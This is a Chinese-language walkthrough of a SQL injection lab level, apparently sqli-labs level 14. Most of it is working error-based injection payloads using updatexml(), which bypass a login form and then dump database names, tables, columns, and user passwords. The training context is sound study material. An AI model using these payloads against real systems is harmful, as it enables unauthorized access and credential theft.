第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入
本次报错注入使用 updatexml()
updatexml(1,'~',3) -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中 -- 返回的结果不超过32个字符
第一步,判断注入方式
老规矩 , 先给一个单引号' , 用户名输入 a',密码随便输入 , 没啥反应 , 说明单引号对后端的SQL不会产生影响
再试试双引号" , 用户名输入 a" , 密码随便输入
数据库报错了 , 看来后端SQL包裹参数用的是双引号 或双引号加括号 , 既然有报错 , 那就用报错注入吧 , 用户名输入一下代码 , 密码随便输入
a" or true #
、
通过 true , 使SQL恒成立 , 登录成功 , 固 双引号字符串型注入
源码如下
使用updatexml() 判断 数据库是否报错
a" and updatexml(1,'~',3) #
数据库正常显示错误 , 接下来利用错误注入进行脱库
updatexml() 的第二个参数如果包含特殊字符 , 数据库会报错,并返回第二个参数的内容 , 错误注入依据的就是这个特点
第二步,获取所有数据库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名
a" and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 1,1)) ,3) #
此处的concat() , 将结果拼接上'~' 使其报错 从而数据库报错
limit 分页 以此查看所有数据库
查看当前使用的数据库
a" and updatexml(1,concat('~', (database())) ,3) #
可知 , 当前使用的数据库为 security , 下一步,查询security数据库的所有表
第三步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所以的表名
a" and updatexml(1,concat('~', (select table_name from information_schema.tables where table_schema='security' limit 3,1)) ,3) #
由于updatexml() 显示字符串长多不超过32个字符 , 此处使用limit分页 以此查看所有表名
users表为用户表 , 下一步查询users表的所有字段
第四步,获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
a" and updatexml(1,concat('~', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')) ,3) #
至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据这些信息获取账号和密码
第五步,获取账号密码
1.
a" and updatexml(1,concat('~', substr((select group_concat(username,'~',password) from security.users),1,31)) ,3) #
updatexml() 返回的字符串长度最多为32个字符 , 此处用substr() 每次截取31个字符 , 直至截取完所有数据